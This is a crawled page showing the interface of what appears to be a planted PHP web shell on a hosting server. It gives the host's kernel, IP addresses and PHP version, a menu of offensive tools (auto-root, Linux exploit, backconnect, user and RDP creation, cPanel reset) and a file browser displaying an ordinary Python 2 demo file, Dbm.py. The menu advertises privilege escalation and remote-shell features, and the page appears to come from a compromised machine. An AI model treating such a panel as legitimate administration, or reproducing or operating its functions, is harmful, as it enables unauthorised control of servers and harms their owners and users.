Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 13.59.129.141
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
Demo /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Complex.py
9.72
KB
-rw-r--r--
Complex.pyc
9.79
KB
-rw-r--r--
Complex.pyo
9.79
KB
-rw-r--r--
Dates.py
7.64
KB
-rw-r--r--
Dates.pyc
7.16
KB
-rw-r--r--
Dates.pyo
7.16
KB
-rw-r--r--
Dbm.py
1.54
KB
-rw-r--r--
Dbm.pyc
2.46
KB
-rw-r--r--
Dbm.pyo
2.46
KB
-rw-r--r--
README
522
B
-rw-r--r--
Range.py
3.05
KB
-rw-r--r--
Range.pyc
4
KB
-rw-r--r--
Range.pyo
4
KB
-rw-r--r--
Rev.py
2
KB
-rw-r--r--
Rev.pyc
2.8
KB
-rw-r--r--
Rev.pyo
2.8
KB
-rw-r--r--
Vec.py
1.33
KB
-rw-r--r--
Vec.pyc
2.75
KB
-rw-r--r--
Vec.pyo
2.75
KB
-rw-r--r--
bitvec.py
10.25
KB
-rw-r--r--
bitvec.pyc
10.05
KB
-rw-r--r--
bitvec.pyo
10.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Dbm.py
# A wrapper around the (optional) built-in class dbm, supporting keys # and values of almost any type instead of just string. # (Actually, this works only for keys and values that can be read back # correctly after being converted to a string.) class Dbm: def __init__(self, filename, mode, perm): import dbm self.db = dbm.open(filename, mode, perm) def __repr__(self): s = '' for key in self.keys(): t = repr(key) + ': ' + repr(self[key]) if s: t = ', ' + t s = s + t return '{' + s + '}' def __len__(self): return len(self.db) def __getitem__(self, key): return eval(self.db[repr(key)]) def __setitem__(self, key, value): self.db[repr(key)] = repr(value) def __delitem__(self, key): del self.db[repr(key)] def keys(self): res = [] for key in self.db.keys(): res.append(eval(key)) return res def has_key(self, key): return self.db.has_key(repr(key)) def test(): d = Dbm('@dbm', 'rw', 0600) print d while 1: try: key = input('key: ') if d.has_key(key): value = d[key] print 'currently:', value value = input('value: ') if value is None: del d[key] else: d[key] = value except KeyboardInterrupt: print '' print d except EOFError: print '[eof]' break print d test()
Close